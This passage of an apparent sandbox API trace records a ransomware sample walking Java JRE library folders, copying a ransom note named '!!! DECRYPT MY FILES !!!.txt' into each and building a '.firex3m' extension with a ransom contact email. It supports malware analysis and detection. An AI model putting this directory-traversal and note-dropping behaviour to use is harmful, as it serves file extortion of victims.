lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0118.298] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xa8b45bd2, dwReserved1=0x1d327cc, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4e40 [0118.298] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0118.299] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0118.301] GetProcessHeap () returned 0x630000 [0118.301] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12f8, Size=0x10) returned 0x6b1388 [0118.301] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.301] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0118.301] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0118.302] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\", len=0x2e | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\") returned 1 [0118.302] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\applet\\") returned 0x2e [0118.302] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0118.302] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0118.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5400 [0118.303] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.303] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.303] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0118.303] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0118.303] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties", len=0x3b | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 1 [0118.303] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties", cchLength=0x3b | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties") returned 0x3b [0118.303] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.303] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.303] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.303] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.303] GetProcessHeap () returned 0x630000 [0118.304] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1388, Size=0x14) returned 0x6b0398 [0118.304] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar", cAlternateFileName="")) returned 1 [0118.304] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 1 [0118.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar") returned 0x33 [0118.304] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.304] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.304] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.304] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.304] GetProcessHeap () returned 0x630000 [0118.304] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0398, Size=0x18) returned 0x6b0418 [0118.304] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="CLASSL~1")) returned 1 [0118.304] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", len=0x30 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 1 [0118.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist", cchLength=0x30 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\classlist") returned 0x30 [0118.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.305] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.305] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.305] GetProcessHeap () returned 0x630000 [0118.305] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x1c) returned 0x6e9378 [0118.305] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1 [0118.305] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\", len=0x2b | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\") returned 1 [0118.305] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\", cchLength=0x2b | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\") returned 0x2b [0118.305] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0118.305] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0118.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d52c0 [0118.306] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.306] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0118.306] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", len=0x34 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 1 [0118.306] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf") returned 0x34 [0118.306] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.306] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.307] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.307] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.307] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0118.307] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0118.307] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xa8b45bd2, dwReserved1=0x1d327cc, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5200 [0118.307] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0118.307] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0118.317] GetProcessHeap () returned 0x630000 [0118.318] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9378, Size=0x20) returned 0x6e9288 [0118.318] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAY.pf", cAlternateFileName="")) returned 1 [0118.318] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", len=0x32 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 1 [0118.318] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", cchLength=0x32 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf") returned 0x32 [0118.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.318] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.318] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.318] GetProcessHeap () returned 0x630000 [0118.318] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9288, Size=0x24) returned 0x699768 [0118.318] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEAR_RGB.pf", cAlternateFileName="LINEAR~1.PF")) returned 1 [0118.318] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", len=0x38 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 1 [0118.318] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", cchLength=0x38 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf") returned 0x38 [0118.319] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.319] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.319] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.319] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.319] GetProcessHeap () returned 0x630000 [0118.319] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699768, Size=0x28) returned 0x699708 [0118.319] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYCC.pf", cAlternateFileName="")) returned 1 [0118.319] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", len=0x32 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 1 [0118.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", cchLength=0x32 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf") returned 0x32 [0118.319] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.319] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.319] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.319] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.320] GetProcessHeap () returned 0x630000 [0118.320] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699708, Size=0x2c) returned 0x6ed6118 [0118.320] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 1 [0118.320] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", len=0x32 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 1 [0118.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", cchLength=0x32 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf") returned 0x32 [0118.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.320] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.320] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.320] GetProcessHeap () returned 0x630000 [0118.320] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6118, Size=0x30) returned 0x6ed5e78 [0118.320] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, 